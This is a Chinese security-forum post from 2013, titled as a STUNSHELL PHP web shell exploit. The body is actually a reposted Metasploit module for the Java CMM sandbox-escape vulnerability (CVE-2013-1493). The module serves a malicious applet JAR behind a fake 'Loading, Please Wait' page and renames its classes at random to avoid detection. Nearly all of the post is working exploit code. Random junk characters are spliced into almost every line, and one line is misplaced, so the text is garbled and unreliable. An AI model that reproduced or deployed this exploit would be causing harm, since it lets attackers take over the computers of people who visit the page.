找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2127|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##0 `) n7 s8 C; O! `

8 Y3 U/ h7 `, A) p# This file is part of the Metasploit Framework and may be subject to7 E/ R' P8 V9 _: o
# redistribution and commercial restrictions. Please see the Metasploit" H5 T7 O2 }' h4 J% y/ j" W
# web site for more information on licensing and terms of use.
- d2 X! L" A" k: V7 ~9 b* N# http://metasploit.com/
. F/ E2 `$ z4 ]! G4 V1 k- m9 M3 M##: [+ x) z, V" Q
require ‘msf/core’( B9 r9 M7 D( k( \' a! {- E/ Q
require ‘rex’4 R- V0 F- v5 ]( }9 x& Y4 w# q4 Q; {
class Metasploit3 < Msf::Exploit::Remote
3 f2 k( w3 `3 `+ ]9 V2 u: ^. k* URank = NormalRanking
5 ^- M0 T  Q, t$ K3 Yinclude Msf::Exploit::Remote::HttpServer::HTML
9 Z7 L6 }. S8 d% {5 x2 binclude Msf::Exploit::EXE% k# R, {9 k" K4 G* A7 @
include Msf::Exploit::Remote::BrowserAutopwn9 ?! j5 J: r- ~9 x2 l  L
autopwn_info({ :javascript => false })" V8 ?# m* K9 s3 q' F8 R
def initialize( info = {} ); l9 w1 v" P& U0 h* }
super( update_info( info,! a$ t2 T' ?% Q
‘Name’ => ‘Java CMM Remote Code Execution’,/ k, E* V. n. i  o  f3 ^
‘Description’ => %q{
; h$ m, T* q1 e1 E- DThis module abuses the Color Management classes from a Java Applet to run
! _- v" M  F: j6 U5 K( Rarbitrary Java code outside of the sandbox as exploited in the wild in February
9 P( I) E: C$ l- \- b+ k& }* Kand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41( l8 g9 g, Y4 s5 a6 y
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
6 W( y& F- _3 C4 v5 \) xsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
8 m1 p+ w! F9 f/ t/ Z+ Twarning in order to run the malicious applet.+ i5 H' |" r5 q* ]$ _
},# ?9 }- F% w& d* T8 B: |+ t7 V. q
‘License’ => MSF_LICENSE,) {. F4 s7 O8 m2 c
‘Author’ =>, D4 a( ~+ o  T5 o6 I6 V( i
'Unknown', # Vulnerability discovery and Exploit  P. B6 Z- r6 g6 P
'juan vazquez' # Metasploit module (just ported the published exploit)7 m5 i0 O2 o! P- ~& Q7 m
],
$ e, C7 f! e& ~/ x& K9 m+ _‘References’ =>
: `1 Y! U: |* }- i% I[8 C% a7 D( h5 v) k  C% K
[ 'CVE', '2013-1493' ],; N) O: Z6 X7 p. G4 h  q
[ 'OSVDB', '90737' ],9 y7 B+ ^, Z7 D8 ~4 v, b* _
[ 'BID', '58238' ],, q5 f# i+ O' n+ h
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
! b# `) d" G: H7 L) m. j[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],: J- V: ~2 O; ]6 w* i, B
[ 'URL', 'http://pastie.org/pastes/6581034' ]
( z! T# N, ^! [* w/ _6 K],
+ M+ X5 G7 q# z9 p‘Platform’ => [ 'win', 'java' ],$ }) ^7 x. t4 k! h  Q# r1 A6 F5 n
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },: e9 ]0 W4 E' p9 X. Q
‘Targets’ =>9 H7 G# W' o( v9 M
[
) W' ]) a8 V2 Q  [% t: J4 T[ 'Generic (Java Payload)',
$ t0 V! F3 d3 D$ n- G{
0 F' C  s3 Y* k: x3 {$ |' @'Platform' => 'java',3 R- t1 S4 m- A1 E. s4 F/ f
'Arch' => ARCH_JAVA& V1 d) |2 l$ o5 J; G
}
5 w( x( e3 T) r0 j],
; a" j% p' Z1 g7 R# P& }: C[ 'Windows x86 (Native Payload)',% R+ y# n  R  L3 |, W* A
{. q) j: [4 p9 g! d9 n  N0 s
'Platform' => 'win',0 R# Y4 p! X4 J  v# f- `) I$ t
'Arch' => ARCH_X86
6 ?9 U# `/ i( m3 O  t) W2 [}7 p- G- r: \2 s* c  J5 j
]7 Y9 y5 Z! Q/ |; |" f# U
],
: \& V- k& F' _" A% ^/ L3 Q2 T' g; H‘‘DisclosureDate’ => ‘Mar 01 2013′
  K3 T2 ^5 a6 o, n; p))
! J4 @+ v6 y& B6 C. G) vend
  ]6 |4 J; R  T% p) `8 Ydef setup
( O0 I" O, ^: w, xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
  s. Z) {/ n0 f3 b% g2 U& U& `@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
- f& G! P% g- [4 N& Qpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)7 F: U8 Y1 r: `8 e- C
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }4 R" p0 T, j" d; F: l
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
: m; q: C$ D, X9 j4 r& }- u  x' L% u@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
2 |+ c) ^% n0 [& C$ vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)/ c6 ^2 l. @6 I0 s6 p
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' [. o$ B3 ]" U  @7 ]+ x@init_class_name = rand_text_alpha(“Init”.length)
* @6 I! |4 @: C8 ?% _9 D% a( K) R@init_class.gsub!(“Init”, @init_class_name)& o7 K0 ~% |1 L1 h* x+ N  J# ^* s3 u0 s
super
6 _( _) v" s  P$ [" f4 J( Wend; }7 ^8 v0 K+ H9 m
def on_request_uri(cli, request)
4 k! E5 q7 d' v9 B" Qprint_status(“handling request for #{request.uri}”)
$ j" x5 t0 W* U6 t' ycase request.uri
  T: I) M/ t0 Vwhen /\.jar$/i
, i1 a; h' t! T6 j5 @8 pjar = payload.encoded_jar/ _$ A2 E% n% q6 I$ _, X
jar.add_file(“#{@init_class_name}.class”, @init_class)
" f8 t" r, v$ d" n2 s. }jar.add_file(“Leak.class”, @leak_class)
% ]& s3 j, B! P; u. Q9 F9 M! \jar.add_file(“MyBufferedImage.class”, @buffered_image_class)& N; ~) [8 k3 S: Y! A. D
jar.add_file(“MyColorSpace.class”, @color_space_class)
0 r0 ^/ Q4 l  [DefaultTarget’ => 1,
' H+ X$ }; M3 R1 d  M3 gmetasploit_str = rand_text_alpha(“metasploit”.length)
( @; j5 ~# p- V- D6 wpayload_str = rand_text_alpha(“payload”.length)0 q( f# d* g8 x2 f4 t0 a
jar.entries.each { |entry|- U7 s$ c) u( V+ U2 V) S
entry.name.gsub!(“metasploit”, metasploit_str)4 y( ?& w' L" j* a3 q
entry.name.gsub!(“Payload”, payload_str)
3 S0 S. i" ^! V) Q" ?' E7 A" centry.data = entry.data.gsub(“metasploit”, metasploit_str)% M/ h5 Q) X2 Q% P
entry.data = entry.data.gsub(“Payload”, payload_str)( d) Q( o# ~& ^+ |$ m9 Z' p4 w! L
}  _% i8 z2 z7 {
jar.build_manifest4 R  r+ b2 u0 L. Q+ B
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
4 K) }2 @# d3 M. R8 B3 o3 H! G7 {4 O0 ?9 _when /\/$/
# l4 o  L9 q/ G5 a( G% Epayload = regenerate_payload(cli)
6 \/ m' O4 g; o7 l9 D8 f& i- e9 d* |if not payload
9 N$ {0 U8 T  ^" B* j3 V  ^print_error(“Failed to generate the payload.”)# p. D! V: Q( u, |1 x
send_not_found(cli)
  P$ o: T- F7 F4 t+ S' treturn
* y: @  `# w0 J( l' q: ?end
+ X0 d) D: M! ]! O) i0 ]! ]" O' Z, gsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })& L* T/ s* t5 J. G5 D6 O+ |3 i! S; N
else
! @# {5 F% n' G( usend_redirect(cli, get_resource() + ‘/’, ”)
4 |  m/ g  P4 x5 U8 _, `) `# @$ q# dend
' c# Z* S0 ?$ B7 A. wend
# s9 n3 G6 L* W, y: y; T& Xdef generate_html, J. y; a) v" @
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|' e" o& }  n6 @5 p; A5 v
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
/ {, g% h( H* t! Y+ Yhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|, ]. H9 S" V' @: ?* d
html += %Q|</applet></body></html>|
  J% o1 k$ u9 j; freturn html3 U/ g! @! N/ S) s8 A
end
* }* G4 `3 Q$ |6 h+ {, ^* j5 qend* w# R( |7 L& i
end
+ y& z. L3 N  |0 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表